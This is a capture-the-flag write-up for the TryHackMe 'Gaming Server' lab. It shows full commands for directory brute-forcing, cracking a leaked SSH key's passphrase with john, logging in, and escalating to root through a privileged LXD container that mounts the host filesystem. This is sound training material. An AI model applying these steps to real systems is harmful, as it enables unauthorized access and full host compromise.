> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/gaming-server.md).

# Gaming Server

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbc2IcAJ6Gohc7FYSJW%2F-Mbc2OY2lvmmkk66LE5J%2Fimage.png?alt=media\&token=8e5be9e7-81b3-4801-ad95-e62258b98dff)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.9.5
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbctvO4bLQT0y--3Rpx%2F-MbcuAnHxUEgPbLL7nbw%2Fimage.png?alt=media\&token=30751082-de6d-4c17-9b17-857dd8693a35)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.9.5
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbctvO4bLQT0y--3Rpx%2F-MbcuKzKvnm5Ug0AtSN7%2Fimage.png?alt=media\&token=98ba0cc5-4741-4210-9f88-857f1d3a71d1)

## Enumeration

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcuMZzCFo-KOoGnEJE%2F-MbcuqShGOqdyiW8BMas%2Fimage.png?alt=media\&token=cd6965e5-a56c-4c89-ad93-8b49a634c75b)

Its a very functional website and nothing of interest at first glance so looking at the source code we see something interesting.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcuMZzCFo-KOoGnEJE%2F-MbcvBS6G7cOqrvcnS6q%2Fimage.png?alt=media\&token=5ec03072-576b-43ba-8139-03738238cfc7)

We have a username `John`, lets run gobuster to find hidden directories and pages.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.9.5
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbcw5BfTITiD7qwRPUo%2Fimage.png?alt=media\&token=4d97baf1-86b4-495e-a427-cc59b895f4e1)

We find two directories, the secret directory looks like it has more file so lets run a gobuster scan against it.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.9.5/secret -x php,html,txt
```

Lets now go explore these directories

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-MbcxBK_XYkpobO9y_g-%2Fimage.png?alt=media\&token=7ab7df47-55e2-4d5f-98d3-86fd0abcea91)

The uploads directory looks like directory that contains files that have been uploaded to the web server. Lets download the three files we see here.

```
wget http://10.10.9.5/uploads/<file-name>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-MbcxxQuFD6ckfr-csSu%2Fimage.png?alt=media\&token=7c78a0a0-5007-4ae1-9e87-1428c246a82d)

Lets look at the files

First the `dict.lst` file: it looks like a password list. The second file is interesting to read but nothing that will help us and the third file is a meme.&#x20;

Now lets look at the secret directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd-1Yp8c_U_dbuvCcl%2Fimage.png?alt=media\&token=5025a488-8d5b-430f-95ad-0b28c3b36925)

Lets download this file

```
wget http://10.10.9.5/secret/secretKey
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd-IpbDB29YPZV_G87%2Fimage.png?alt=media\&token=72fd08b2-9573-471a-a14c-465a8c9bdbe3)

Lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd-NGHaj7KwkOjQXCg%2Fimage.png?alt=media\&token=944aae25-f5b7-4a9a-aab0-f4cd16bb3872)

It a rsa private key, so lets use `ssh2john` to get the password and then login through ssh

## Exploitation

Lets use `ssh2john` to get the hash so that we can use john to crack the password

```
/usr/share/john/ssh2john.py secretKey > hash
```

Now lets crack the password

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd-yRKokToCoimBOO3%2Fimage.png?alt=media\&token=ca9134f2-e00c-4795-ab83-6927bb174772)

We found the password, so lets login through ssh, but first we have step

```
chmod 600 secretKey
```

And now we can login

```
ssh -i secretKey john@10.10.9.5
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd0ILrD_H3XANVB_wr%2Fimage.png?alt=media\&token=b9e387ce-7b85-456f-9d4f-d7f440f65de0)

We can now read the `user.txt` file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd0PX-MafDb593OzaY%2Fimage.png?alt=media\&token=8cbfbb7c-9968-4604-a0f6-17dcc6305023)

## Privilege Escalation

Lets run the id command as we cannot run the sudo command as we do not have the password john.

```
id
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd0gFCVlhKwCnzXPl_%2Fimage.png?alt=media\&token=89e0c704-fa57-44c5-a52b-9b715cf91e86)

Looking closely we can see that john is part of the `lxd group`. lxd is a Linux container manager that can be used to mount the root folder on the host machine. There is an [article ](https://www.hackingarticles.in/lxd-privilege-escalation/)on this topic which talks about and shows us how to privilege escalate to root with the current permissions we have. I highly recommend reading the [article ](https://www.hackingarticles.in/lxd-privilege-escalation/)as they explain it very well.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd22OioNTxuFFESe3l%2Fimage.png?alt=media\&token=de5a6fc5-9c2f-4cb8-b7ed-df977184ac4f)

These are the steps that we have to follow. So first we need to download the alpine image on our machine as I think we can't download files on the victim machine directly , this can be found [here](https://github.com/saghul/lxd-alpine-builder.git).

```
git clone https://github.com/saghul/lxd-alpine-builder.git
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd34ERt0gVn82Dn_11%2Fimage.png?alt=media\&token=76b99559-1fab-4fbd-8dc8-a2e64216e10c)

Now we have to change directories into the directory we just cloned and then `run build-alpine`.

```
/build-alpine
```

After running it, a `tar.gz` file is created, now we have to transfer this to the victim machine so lets start a http server so that we can download the file using `wget`.

```
python3 -m http.server 8000
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd3p9dpzojDYWKRiwg%2Fimage.png?alt=media\&token=74d57632-2f19-4fee-a3a2-5670216e8937)

Now lets go to the victim machine and download the file

```
wget http://<your-ip>:8000/alpine-v3.13-x86_64-20210607_2042.tar.gz
```

First change directories into the tmp folder as we are going to place all temporary files here.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd4ZeToN-LvBQl_sMy%2Fimage.png?alt=media\&token=07be2809-4879-42fb-bbee-1fdcd7398a33)

Now that the image is built, it can added as an image to `LXD`, we can do that by using this command

```
lxc image import alpine-v3.13-x86_64-20210607_2042.tar.gz --alias myimage
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd55zhbVDrzgMaSxcB%2Fimage.png?alt=media\&token=fa253775-ba49-4e46-90b1-e5bd3b0b96e9)

Lets check the list of images using this command

```
lxc image list
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd5DtvlFj2jgYYjUYq%2Fimage.png?alt=media\&token=ca4c3c92-d97e-489a-a006-e159e722beb7)

Now we need to use the following commands to escalate privileges to root

```
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd5Wgk_4y9FA7cmX7Q%2Fimage.png?alt=media\&token=35995b87-536d-4f8b-89a9-c5318c3ef6dc)

Now you are root and can read the root flag which you can find here.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd5gr0xVsLw9DItqXR%2Fimage.png?alt=media\&token=28c0168d-e9d8-4cf0-87de-0678e30b815b)